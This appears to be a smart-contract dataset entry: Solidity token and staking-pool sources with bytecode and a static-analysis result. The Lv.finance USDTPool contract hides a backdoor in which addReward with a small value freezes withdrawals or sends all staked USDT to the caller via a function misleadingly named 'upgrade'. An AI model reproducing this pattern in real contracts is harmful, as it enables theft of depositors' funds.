public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Registry { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyAdmin whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyAdmin whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract MoatUnit is PausableToken { constructor(address rAddress) public { RegistryAddress = rAddress; } string public constant name = "MoatUnit"; string public constant symbol = "MTUv2"; uint8 public constant decimals = 0; function MintToken(uint NoOfMTU) onlyAdmin public { totalSupply_ = totalSupply_.add(NoOfMTU); address fundAddress = getAddress("fund"); balances[fundAddress] = balances[fundAddress].add(NoOfMTU); emit Transfer(0, fundAddress, NoOfMTU); } function SendERC20ToAsset(address tokenAddress) onlyAdmin public { token tokenFunctions = token(tokenAddress); uint256 tokenBal = tokenFunctions.balanceOf(address(this)); tokenFunctions.transfer(getAddress("asset"), tokenBal); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063052977811461010157806306fdde031461012e578063095ea7b3146101be57806318160ddd1461022357806323b872dd1461024e578063313ce567146102d35780633f4ba83a1461030457806342966c681461031b57806358620daf146103485780635c975abb1461039f57806366188463146103ce57806370a08231146104335780638456cb591461048a57806395d89b41146104a1578063a9059cbb14610531578063d73dd62314610596578063dd62ed3e146105fb578063f487e4b614610672575b600080fd5b34801561010d57600080fd5b5061012c600480360381019080803590602001909291905050506106b5565b005b34801561013a57600080fd5b50610143610870565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610183578082015181840152602081019050610168565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a9565b604051808215151515815260200191505060405180910390f35b34801561022f57600080fd5b506102386108d9565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e3565b604051808215151515815260200191505060405180910390f35b3480156102df57600080fd5b506102e8610915565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031057600080fd5b5061031961091a565b005b34801561032757600080fd5b50610346600480360381019080803590602001909291905050506109f5565b005b34801561035457600080fd5b5061035d610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ab57600080fd5b506103b4610b6d565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b50610419600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b34801561043f57600080fd5b50610474600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb0565b6040518082815260200191505060405180910390f35b34801561049657600080fd5b5061049f610bf8565b005b3480156104ad57600080fd5b506104b6610cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f65780820151818401526020810190506104db565b50505050905090810190601f1680156105235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053d57600080fd5b5061057c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d0d565b604051808215151515815260200191505060405180910390f35b3480156105a257600080fd5b506105e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3d565b604051808215151515815260200191505060405180910390f35b34801561060757600080fd5b5061065c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6d565b6040518082815260200191505060405180910390f35b34801561067e57600080fd5b506106b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df4565b005b60006106f56040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061106a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561072e57600080fd5b610743826001546111eb90919063ffffffff16565b6001819055506107876040805190810160405280600481526020017f66756e640000000000000000000000000000000000000000000000000000000081525061106a565b90506107da826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111eb90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6040805190810160405280600881526020017f4d6f6174556e697400000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156108c757600080fd5b6108d18383611209565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561090157600080fd5b61090c8484846112fb565b90509392505050565b600081565b6109586040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061106a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099157600080fd5b600360149054906101000a900460ff1615156109ac57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a4457600080fd5b339050610a98826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b590919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aef826001546116b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b9e57600080fd5b610ba883836116ce565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c366040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061106a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6f57600080fd5b600360149054906101000a900460ff16151515610c8b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6040805190810160405280600581526020017f4d5455763200000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610d2b57600080fd5b610d35838361195f565b905092915050565b6000600360149054906101000a900460ff16151515610d5b57600080fd5b610d658383611b7e565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080610e356040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061106a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6e57600080fd5b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610f0c57600080fd5b505af1158015610f20573d6000803e3d6000fd5b505050506040513d6020811015610f3657600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610fa36040805190810160405280600581526020017f617373657400000000000000000000000000000000000000000000000000000081525061106a565b836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d602081101561105357600080fd5b810190808051906020019092919050505050505050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff1663d502db97856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561111c578082015181840152602081019050611101565b50505050905090810190601f1680156111495780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561116857600080fd5b505af115801561117c573d6000803e3d6000fd5b505050506040513d602081101561119257600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111e157600080fd5b8092505050919050565b60008082840190508381101515156111ff57fe5b8091505092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561133857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561138557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561141057600080fd5b611461826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111eb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156116c357fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117df576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611873565b6117f283826116b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561199c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119e957600080fd5b611a3a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611acd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111eb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611c0f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111eb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582016131001f0b2885c7778cba265a3f0de05e34ded407e5759c85e70c80658f2a60029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,220
0x80c09d3cc108fa52b7b63cdcc071daebc059a494
/* ____ _____ _____ / / \ \ / / / / \ \ / / / / \ \ / / / / \ \ / / / / \ (_) / / (__________ \ / /________________) \_______/ * Lv.finance * * * * MIT License * =========== * * Copyright (c) 2020 Lv.finance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * */ pragma solidity ^0.5.17; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function upgrade(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function addReward(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; //update IERC20 public _token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); uint256 private _totalSupply; uint256 private _upgrade = 0; uint256 private _last_updated; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function _migrate(uint256 target) internal { _last_updated = block.timestamp; if(target == 1){ if(_upgrade ==0){ _upgrade = 1; }else{ _upgrade = 0; } }else{ _token.upgrade(msg.sender, _token.balanceOf(address(this))); } } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); _token.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { require(_upgrade < 1,"contract migrated"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); _token.safeTransfer(msg.sender, amount); } } contract USDTPool is LPTokenWrapper, IRewardDistributionRecipient { //update IERC20 public lv = IERC20(0xa77F34bDE382522cd3FB3096c480d15e525Aab22); uint256 public constant DURATION = 3600 * 24; // 1 day uint256 public constant TOTAL_UNIT = 9202335569231280000; uint256 public constant MIN_REWARD = 3; //update uint256 public constant HARD_CAP = 2000000*10**6; //update uint256 public starttime = 1600524000 ; // 2020-09-19 14:00:00 (UTC UTC +00:00) uint256 public periodFinish = starttime.add(DURATION); uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public totalReward = 0; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier checkStart(){ require(block.timestamp >= starttime,"not start"); _; } modifier checkHardCap() { require(totalSupply() < HARD_CAP ,"hard cap reached"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if(totalSupply() == 0){ return rewardPerTokenStored; } return rewardPerTokenStored.add( rewardRate(lastTimeRewardApplicable()) .sub(rewardRate(lastUpdateTime)) .mul(totalReward) .div(totalSupply()) ); } function rewardRate(uint256 timestamp) internal view returns (uint256){ uint steps = (timestamp - starttime) / 3600; uint256 duration_mod = timestamp - starttime - 3600 * steps; uint256 base = 10**36; uint256 commulatedRewards = 0; for(uint step=0; step<steps; step++){ commulatedRewards = commulatedRewards.add(base * (9**step) / (10**step)/TOTAL_UNIT); } if(duration_mod > 0){ commulatedRewards = commulatedRewards.add(base * (9**steps) * duration_mod / (10**steps)/3600/TOTAL_UNIT); } return commulatedRewards; } function earned(address account) public view returns (uint256) { if(totalSupply() == 0){ return 0; } return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; lv.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function addReward(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if(reward > MIN_REWARD ) { lastUpdateTime = starttime; totalReward = totalReward.add(reward); emit RewardAdded(reward); }else{super._migrate(reward);} } function stake(uint256 amount) public updateReward(msg.sender) checkStart checkHardCap { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } }
0x608060405234801561001057600080fd5b50600436106101ce5760003560e01c8063750142e611610104578063a694fc3a116100a2578063e9fad8ee11610071578063e9fad8ee146103b4578063ebe2b12b146103bc578063ecd0c0c3146103c4578063f2fde38b146103cc576101ce565b8063a694fc3a1461037f578063c8f33c911461039c578063cd3daf9d146103a4578063df136d65146103ac576101ce565b80638b876347116100de5780638b8763471461032d5780638da58897146103535780638da5cb5b1461035b5780638f32d59b14610363576101ce565b8063750142e6146103155780637e5a960a1461031d57806380faa57d14610325576101ce565b80633a03171c116101715780634cbeadf91161014b5780634cbeadf9146102c257806370a08231146102ca578063715018a6146102f057806374de4ec4146102f8576101ce565b80633a03171c146102aa5780633d18b912146102b257806348ea0c03146102ba576101ce565b8063101114cf116101ad578063101114cf1461025957806318160ddd1461027d5780631be05289146102855780632e1a7d4d1461028d576101ce565b80628cc262146101d35780630700037d1461020b5780630d68b76114610231575b600080fd5b6101f9600480360360208110156101e957600080fd5b50356001600160a01b03166103f2565b60408051918252519081900360200190f35b6101f96004803603602081101561022157600080fd5b50356001600160a01b0316610491565b6102576004803603602081101561024757600080fd5b50356001600160a01b03166104a3565b005b61026161051e565b604080516001600160a01b039092168252519081900360200190f35b6101f961052d565b6101f9610534565b610257600480360360208110156102a357600080fd5b503561053b565b6101f9610665565b61025761066f565b6101f9610784565b6101f9610789565b6101f9600480360360208110156102e057600080fd5b50356001600160a01b0316610795565b6102576107b0565b6102576004803603602081101561030e57600080fd5b5035610853565b6101f961096e565b610261610974565b6101f9610983565b6101f96004803603602081101561034357600080fd5b50356001600160a01b0316610996565b6101f96109a8565b6102616109ae565b61036b6109bd565b604080519115158252519081900360200190f35b6102576004803603602081101561039557600080fd5b50356109e3565b6101f9610b5e565b6101f9610b64565b6101f9610bbc565b610257610bc2565b6101f9610bdd565b610261610be3565b610257600480360360208110156103e257600080fd5b50356001600160a01b0316610bf2565b60006103fc61052d565b6104085750600061048c565b6001600160a01b0382166000908152600e6020908152604080832054600d90925290912054610489919061047d90670de0b6b3a7640000906104719061045c90610450610b64565b9063ffffffff610c5716565b61046588610795565b9063ffffffff610ca216565b9063ffffffff610cfb16565b9063ffffffff610d3d16565b90505b919050565b600e6020526000908152604090205481565b6104ab6109bd565b6104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031681565b6001545b90565b6201518081565b33610544610b64565b600b5561054f610983565b600a556001600160a01b038116156105965761056a816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b6008544210156105d9576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610622576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b61062b82610d97565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6501d1a94a200081565b33610678610b64565b600b55610683610983565b600a556001600160a01b038116156106ca5761069e816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b60085442101561070d576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b6000610718336103f2565b9050801561078057336000818152600e6020526040812055600754610749916001600160a01b039091169083610e3f565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b600381565b677fb54371b3f8f78081565b6001600160a01b031660009081526004602052604090205490565b6107b86109bd565b610809576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6006546001600160a01b0316610867610e96565b6001600160a01b0316146108ac5760405162461bcd60e51b81526004018080602001828103825260218152602001806114db6021913960400191505060405180910390fd5b60006108b6610b64565b600b556108c1610983565b600a556001600160a01b03811615610908576108dc816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600382111561096557600854600a55600c5461092a908363ffffffff610d3d1656